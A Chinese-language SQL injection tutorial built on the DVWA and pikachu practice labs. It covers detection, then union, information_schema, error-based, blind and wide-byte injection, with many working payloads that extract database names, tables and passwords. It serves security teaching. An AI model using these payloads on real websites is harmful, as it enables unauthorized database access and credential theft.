注入攻击的原理:
注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。
总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。
注入前的准备及注入漏洞检测:
1、显示友好HTTP错误信息(现在浏览器不用管)
2、手工检测SQL注入点
最常用的SQL注入点判断方法,是在网站中寻找如下形式的网页链接。
http://www.*****.com/***.asp?id=xx (ASP注入) (其他语言等同于这个链接)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)
http://www.*****.com/index/new/id/8 伪静态
http://www. *****.com/index/new/php-8.html伪静态
其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。如何判断某个网页链接是否存在SQL注入漏洞呢? 通常有两种检测方法。
1. “单引号”法
第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
2. 1=1和1=2法
很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。
注入分类
1、数字型注入: or 1=1
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。
正常的SQL语句:
select username,email from member where id=1;
输入测试代码后的SQL语句:
select username,email from member where id=1 or 1=1;
2、字符型注入:' or 1=1#
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
输入字符型测试代码:
列如: select id,email from member where username='vince' or 1=1#';
我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为select id,email from member where username='vince‘ or 1=1#';
3、搜索型注入:xxxx%'or 1=1 #
当在搜索框搜索的时候,称为搜索型。
正常的SQL语句:
select * from member where username like '%vince%' or 1=1;
输入搜索型测试代码:
select * from member where username like '%xxxx%'or 1=1 #%'
4、XX型注入(一般用的少):XX') or 1=1#
XX型是由于SQL语句拼接方式不同,注入语句如下:
select * from member where username=('xx') or 1=1;
注入提交的方式
ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)
PHP:$_REQUEST(全部接受)(最不安全)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)
1、get提交:
一般直接通过浏览器地址栏提交,如下图:
2、post提交:
可通过安装火狐浏览器插件(hackbar)或Burp工具来完成,如下图:
3、cookie提交:
一般通Burp工具来完成,如下图:
注入攻击类型与方式:
主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等。
1、union注入:
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。下面以pikachu平台的数据库为例,输入select id,email from member where username='kevin' union select username,pw from member where id=1;查询结果如下:
注:union操作符一般与order by语句配合使用
下面以DVWA平台的数据库为例: 先判断出这里存在注入漏洞
再利用order by 排序判断出主查询字段 (因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。)
输入1' order by 3 #,反馈如图:出现报错,说明字段数小于3
输入1' order by 2 #,反馈如图:说明主查询字段一共2个。
之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句
1' union select database(),user()# 反馈如图
2、information_schema注入:
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。首先通过联合查询先找出数据库的名称,输入1' union select database(),user()#得到反馈,判断数据库名称为dvwa。
获取dvwa数据库的表名,输入: (有几个字段 union select 后面接几个查询的内容)
1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#
获取dvwa数据库的字段名,输入:
1' union select table_name,column_name from information_schema.columns where table_name='users'#
最后获取字段值的内容,输入:
1' union select user,password from users#
3、基于函数报错注入:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
(有的网站有注入点但不报错,因为被屏蔽)
基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
实战测试(测注入点一般用and,注入一般用or)
1、爆数据库版本信息(格式是固定的)
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
更改limit后面的数字limit 0完成表名遍历。
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
insert、update 、delete 、Http Header 、Cookie 注入 (下面以pikachu为例)
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户 名输入相关payload,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
dalete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
Http Header注入
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。
在User-Agent输入: payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
Cookie注入(只要cookie与数据库交互互就有可能注入)
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置
Payload 'and updatexml (1,concat(0x7e,database()),0)# 观察报错和之前是否相同。
4、Boolian(布尔型)盲注
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
因为web的页面返回值都是“True” 或者 “False”,也就是 “1” or “0”,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。
输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。 当修改payload ,1,1 为 ,2,1 时爆出第二个字符
注:substr()函数(substr:字符串截取)
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。
输入语句:select length(database())
5、base on time(时间型)盲注
可以通过后端的执行时间来进行注入。这里会用到的payload:
vince' and sleep(x)#
基于时间的延迟,构造一个拼接语句:
vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#
输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输入:
vince' and if(substr(database(),1,1)='p',sleep(10),null)#
再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
6、宽字节注入(两个条件:对方的网是gbk、注入时注入的单引号前加%df’)
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
哪些地方没有魔术引号的保护?
(1) $_SERVER 变量
PHP5的$_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似$_SERVER 变量)
(3)$HTTP_RAW_POST_DATA与PHP输入、输出流